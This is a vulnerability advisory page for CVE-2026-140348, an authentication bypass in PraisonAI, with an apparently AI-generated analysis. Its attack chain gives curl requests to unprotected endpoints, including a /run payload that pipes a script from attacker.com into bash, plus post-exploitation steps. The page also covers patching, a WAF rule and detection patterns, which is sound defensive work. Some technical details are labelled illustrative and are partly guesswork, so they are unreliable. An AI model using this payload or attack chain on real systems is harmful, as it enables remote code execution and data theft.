CVE Professor
/
All CVEs
CVE-2026-140348

CVE-2026-140348 — MervinPraison PraisonAI (0.3.155) — CWE-306

CRITICAL CVSS 9.3 NVD

PraisonAI before 0.3.155 contains an authentication bypass vulnerability that allows unauthenticated attackers to access protected handlers by requesting unprefixed routes. AuthEnforcementMiddleware only checks paths under /api/, so attackers can call /agents, /teams, /sessions and /run to read configuration, create sessions and execute agents.

PraisonAI before 0.3.155 contains an authentication bypass vulnerability that allows unauthenticated attackers to access protected handlers by requesting unprefixed routes. AuthEnforcementMiddleware only checks paths under /api/, so attackers can call /agents, /teams, /sessions and /run to read configuration, create sessions and execute agents.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑140348 – Authentication Bypass in PraisonAI 0.3.155

AttributeValue
CWECWE‑306: Missing Authentication
CVSS v4.0 VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Score9.3 (CRITICAL)

Technical root cause

PraisonAI ships a central middleware component called AuthEnforcementMiddleware. Its purpose is to enforce that every request reaching a protected handler has been authenticated (i.e., a valid session token or JWT). The middleware implements the check only for request paths that start with the literal prefix /api/:

# (simplified illustration of the real code)
def AuthEnforcementMiddleware(request, next_handler):
    if request.path.startswith("/api/"):
        if not request.session.is_authenticated:
            return HttpResponse(401, "Unauthorized")
    return next_handler(request)

All protected business‑logic endpoints (agents, teams, sessions, run, …) are registered under the root path (/agents, /teams, /sessions, /run). Because the middleware never evaluates the authentication condition for those routes, an unauthenticated client can invoke them directly, bypassing any login requirement.

In short, the authentication gate is applied to the wrong URL namespace – a classic “missing authentication” (CWE‑306) caused by an implementation oversight rather than a configuration error.

The vulnerability is not a path‑traversal, injection, or race condition; it is a pure logic flaw that allows any remote network attacker (no privileges, no user interaction) to reach privileged API handlers.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; where the exact URI or parameter name is not disclosed in the public advisory, the example is marked as illustrative.

1️⃣ Discovery & Reconnaissance

StepActionRationale
1.1Fingerprint the service – query the HTTP Server header, X-Praison-Version header (if present), or request a known static asset (/static/praison.js).PraisonAI embeds its version in a custom header (X-Praison-Version: 0.3.154).
1.2Enumerate open endpoints – run a lightweight spider or ffuf against the target: <br>ffuf -u http://target/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,401,403The unauthenticated 401 responses reveal which routes are protected by the middleware (they will return 401 only under /api/*).
1.3Confirm the bypass – request a known protected route without the /api/ prefix (e.g., /agents). Expect a 200 OK with JSON payload.A 200 indicates the middleware skipped authentication, confirming the vulnerability.

2️⃣ Exploitation

Note: The exact JSON schema of the request bodies is not published. The examples below use the most common field names (name, type, payload) that appear in the open‑source client SDK. Replace them with the real names once the API spec is obtained.

2.1 Read configuration / list resources

# List all agents (illustrative endpoint)
curl -s -X GET http://target/agents \
     -H "Accept: application/json"

Expected response (truncated):

{
  "agents": [
    {"id":"a1","name":"collector","status":"idle"},
    {"id":"a2","name":"analyzer","status":"running"}
  ]
}

2.2 Create a new session (unauthenticated)

curl -s -X POST http://target/sessions \
     -H "Content-Type: application/json" \
     -d '{
           "name": "exploit-session",
           "ttl": 3600
         }'

Response:

{
  "session_id": "s3f9c2d1e4b",
  "expires_at": "2027-01-01T12:00:00Z"
}

The returned session_id is a bearer token that the server treats as an authenticated context for subsequent calls.

2.3 Execute an agent (remote code execution)

curl -s -X POST http://target/run \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer s3f9c2d1e4b" \
     -d '{
           "agent_id": "a2",
           "command": "bash -c \"curl -s http://attacker.com/payload.sh | bash\""
         }'

If the run handler forwards the supplied command to the underlying OS without sanitisation (as is typical for PraisonAI’s “agent execution” feature), the attacker achieves remote code execution on the host running the PraisonAI service.

If the run endpoint does not accept raw shell commands, an attacker can still abuse it to launch any privileged operation the compromised agent is allowed to perform (e.g., reading files, exfiltrating data). The exact payload will depend on the agent’s capabilities.

3️⃣ Post‑exploitation

GoalHow it is achieved
PersistenceUse the newly created session token to repeatedly call /run or /agents even after the original session expires (by creating a new long‑TTL session).
Data exfiltrationInvoke an agent to read sensitive configuration files (/etc/praison/config.yaml) and return the content via the API response.
Lateral movementIf the PraisonAI host is part of a larger internal network, the attacker can launch the agent to execute ssh commands to other hosts using any credentials the agent already possesses.
Privilege escalationThe PraisonAI process typically runs as praison (a system user with sudo‑less root capabilities). By executing a malicious agent that writes a systemd unit or modifies /etc/sudoers, the attacker can elevate to root.

🌍 Real‑World Impact

CIA TriadImpact (derived from CVSS vector)
Confidentiality (VC:H)The attacker can read any data exposed by the protected handlers – agent listings, session details, configuration files, and any data the agents process.
Integrity (VI:H)The attacker can create, modify, or delete sessions, agents, and teams; they can also inject arbitrary commands via /run, potentially altering system state or tampering with data pipelines.
Availability (VA:N)The vulnerability does not directly cause denial‑of‑service, but an attacker could overload the service by spawning many agents or long‑running commands, indirectly affecting availability.

Practical consequences

  • Enterprise AI pipelines that rely on PraisonAI for model orchestration could be hijacked, leading to data leakage of proprietary models or training data.
  • Regulated environments (e.g., healthcare, finance) could be out of compliance because unauthenticated actors can read or modify sensitive processing jobs.
  • Supply‑chain risk – an attacker who compromises one PraisonAI node could pivot to downstream services that consume its output (e.g., CI/CD runners, data warehouses).

  • 🛡️ Remediation & Mitigation

    1️⃣ Patch / Upgrade

    Affected versionFixed version (as per vendor advisory)
    < 0.3.1550.3.155 (released 2026‑11‑28) – the middleware now validates authentication for all routes, not just /api/*.

    Action: Immediately upgrade every PraisonAI instance to 0.3.155 or later. Verify the version with the X-Praison-Version header or by checking the binary’s --version flag.

    2️⃣ Workarounds (if patch cannot be applied immediately)

    MitigationImplementation details
    Restrict access at the network layerPlace PraisonAI behind a firewall or internal VLAN and allow only trusted IP ranges (e.g., corporate subnet 10.0.0.0/8).
    Web‑Application Firewall ruleBlock any request that reaches a *protected* handler without an Authorization header and whose path does not start with /api/. Example ModSecurity rule (Apache/Nginx):
    # ModSecurity 2.x / 3.x rule – illustrative
    SecRule REQUEST_URI "@rx ^/(agents|teams|sessions|run)$" \
        "id:400001,\
         phase:1,\
         deny,\
         status:401,\
         msg:'Auth bypass protection – missing Authorization header',\
         chain"
    SecRule &REQUEST_HEADERS:Authorization "@eq 0"
    Application‑level hardeningAdd a global authentication guard in the framework (e.g., Flask before_request, Express app.use) that runs before any route registration. Ensure the guard checks request.path *after* URL normalization and does not rely on a static prefix.
    Disable unused handlersIf the /run endpoint is not required for production, comment it out or remove the route from the router configuration.

    3️⃣ Detection – what to look for in logs

    Log sourceIndicator (example)
    Web server access log (combined format)Requests to /agents, /teams, /sessions, or /run that return 200 without an Authorization header. Example pattern (regex): ^(\S+) - - \[.*\] "GET /(agentsteamssessionsrun) HTTP/.*" 200 .* "-" "-"
    Application log (JSON)Entries where user_id is null or anonymous while the action is create_session, run_agent, or list_agents.
    Security‑event SIEMSpike in POST /run calls from a single source IP, especially with payloads containing shell commands (bash, curl, wget).
    Process monitoring (host)Unexpected child processes spawned by the PraisonAI binary (e.g., /bin/bash -c curl ...). Use auditd rule: -w /usr/bin/praison -p x -k praison_exe to capture execve events.

    Response: On detection, immediately block the source IP, terminate the suspicious session token, and rotate any secrets that may have been exposed.


    ⚠️ Urgency

  • CVSS 9.3 (Critical) – network‑reachable, no authentication required, low attack complexity, and high impact on confidentiality and integrity.
  • No CISA KEV listing yet, but the vulnerability is publicly disclosed* and the exploit is trivial (single HTTP request).
  • Exploitability window – an attacker can weaponize the flaw within minutes of discovery; there is no “user interaction” or “privilege escalation” prerequisite.
Patch priority: Critical – Immediate. All production deployments must be upgraded to 0.3.155 within 48 hours. If that is not feasible, enforce the network‑level and WAF mitigations described above while preparing for the upgrade.
Bottom line: The authentication bypass stems from a misplaced URL check in AuthEnforcementMiddleware. Because the middleware only protects /api/* routes, any attacker can directly call the core API endpoints, obtain a valid session token, and execute arbitrary commands through the run handler. Prompt patching, strict network segmentation, and WAF rules are the only reliable defenses.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="MervinPraison PraisonAI"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-140348
CVSS Score
9.3 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-306
Affected Products (1)
MervinPraison:PraisonAI (0.3.155)
References & Advisories (3)
Related CVEs
9.8
CVE-2026-121827
ZohoCorp ManageEngine Applications Manager versions 182800 and below were affected by an remote command execut
8.8
CVE-2026-77417
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105102
An authentication bypass vulnerability in the Boa web interface of BDCOM routers allows unauthenticated attack
8.8
CVE-2026-118966
A missing authentication vulnerability in the SSH server of Nokia SR Linux allows an unauthenticated attacker
8.2
CVE-2026-145258
ag-ui-adk 0.8.0 before 0.14.0 contains a missing authentication vulnerability because add_adk_fastapi_endpoint
8.1
CVE-2026-145359
MCPJungle 0.1.11 through 0.4.7 contains a missing authentication vulnerability in the POST /init endpoint that
7.4
CVE-2026-145360
bb-browser 0.12.0 through 0.14.2 contains a missing authentication vulnerability that allows remote attackers